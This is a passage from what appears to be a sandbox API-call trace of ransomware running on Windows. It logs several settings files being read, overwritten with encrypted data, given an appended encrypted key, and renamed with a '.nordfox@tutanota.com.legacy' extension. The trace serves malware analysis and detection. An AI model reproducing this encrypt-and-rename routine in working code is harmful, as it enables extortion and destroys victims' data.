(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DateTime_IsTimeZoneSetAutomaticallyEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.550] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x53d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x53d, lpOverlapped=0x0) returned 1 [0197.551] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1341, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.551] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x53d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x53d, lpOverlapped=0x0) returned 1 [0197.552] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x53d [0197.552] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.552] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.552] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.553] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.553] CloseHandle (hObject=0x1c24) returned 1 [0197.553] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DateTime_IsTimeZoneSetAutomaticallyEnabled.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_datetime_istimezonesetautomaticallyenabled.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DateTime_IsTimeZoneSetAutomaticallyEnabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_datetime_istimezonesetautomaticallyenabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.555] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0197.555] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.555] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DateTime_IsTimeSetAutomaticallyEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.555] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x529, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x529, lpOverlapped=0x0) returned 1 [0197.557] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1321, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.557] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x529, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x529, lpOverlapped=0x0) returned 1 [0197.557] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x529 [0197.557] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.557] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.557] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.558] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.558] CloseHandle (hObject=0x1c24) returned 1 [0197.558] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DateTime_IsTimeSetAutomaticallyEnabled.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_datetime_istimesetautomaticallyenabled.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DateTime_IsTimeSetAutomaticallyEnabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_datetime_istimesetautomaticallyenabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.561] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0197.561] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0197.561] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DateTime_IsAutomaticDSTAdjustEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.561] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x51f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x51f, lpOverlapped=0x0) returned 1 [0197.563] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1311, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.563] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x51f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x51f, lpOverlapped=0x0) returned 1 [0197.563] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x51f [0197.563] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.563] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.563] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.564] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.564] CloseHandle (hObject=0x1c24) returned 1 [0197.564] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DateTime_IsAutomaticDSTAdjustEnabled.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_datetime_isautomaticdstadjustenabled.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DateTime_IsAutomaticDSTAdjustEnabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_datetime_isautomaticdstadjustenabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.566] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0197.566] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0197.566] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DateTime_CountryRegion.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.567] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4e3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4e3, lpOverlapped=0x0) returned 1 [0197.568] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1251, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.568] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4e3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4e3, lpOverlapped=0x0) returned 1 [0197.568] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4e3 [0197.568] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.568] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.569] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.569] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.569] CloseHandle (hObject=0x1c24) returned 1 [0197.569] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DateTime_CountryRegion.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_datetime_countryregion.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DateTime_CountryRegion.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_datetime_countryregion.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.571] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0197.571] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0197.571] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DataSense_ConfigureSetLimitButton.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.571] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x520, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x520, lpOverlapped=0x0) returned 1 [0197.572] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.572] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x520, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x520, lpOverlapped=0x0) returned 1 [0197.573] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x520 [0197.573] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.573] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.573] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.573] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.573] CloseHandle (hObject=0x1c24) returned 1 [0197.574] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DataSense_ConfigureSetLimitButton.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_datasense_configuresetlimitbutton.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DataSense_ConfigureSetLimitButton.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_datasense_configuresetlimitbutton.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.575] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0197.575] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0197.575] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_BatterySaver_LandingPage_UsageDetailsLink.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.576] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x546, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x546, lpOverlapped=0x0) returned 1 [0197.577] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1350, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.577] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x546, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x546, lpOverlapped=0x0) returned 1 [0197.577] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x546 [0197.577] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.577] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.578] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.578] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.578] CloseHandle (hObject=0x1c24) returned 1 [0197.578] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_BatterySaver_LandingPage_UsageDetailsLink.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_batterysaver_landingpage_usagedetailslink.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_BatterySaver_LandingPage_UsageDetailsLink.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_batterysaver_landingpage_usagedetailslink.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.580] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0197.580] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0197.580] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_BatterySaver_LandingPage_UsageDetailsLink-2.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.581] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x54e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x54e, lpOverlapped=0x0) returned 1 [0197.585] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1358, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.585] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x54e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x54e, lpOverlapped=0x0) returned 1 [0197.586] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x54e [0197.586] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.586] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.586] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.587] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.587] CloseHandle (hObject=0x1c24) returned 1 [0197.587] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_BatterySaver_LandingPage_UsageDetailsLink-2.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_batterysaver_landingpage_usagedetailslink-2.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_BatterySaver_LandingPage_UsageDetailsLink-2.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_batterysaver_landingpage_usagedetailslink-2.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.590] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0197.590] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0197.590] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_BatterySaver_LandingPage_SettingsLink.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.591] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x537, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x537, lpOverlapped=0x0) returned 1 [0197.592] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1335, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.592] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x537, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x537, lpOverlapped=0x0) returned 1 [0197.592] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x537 [0197.592] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.592] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.593] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, 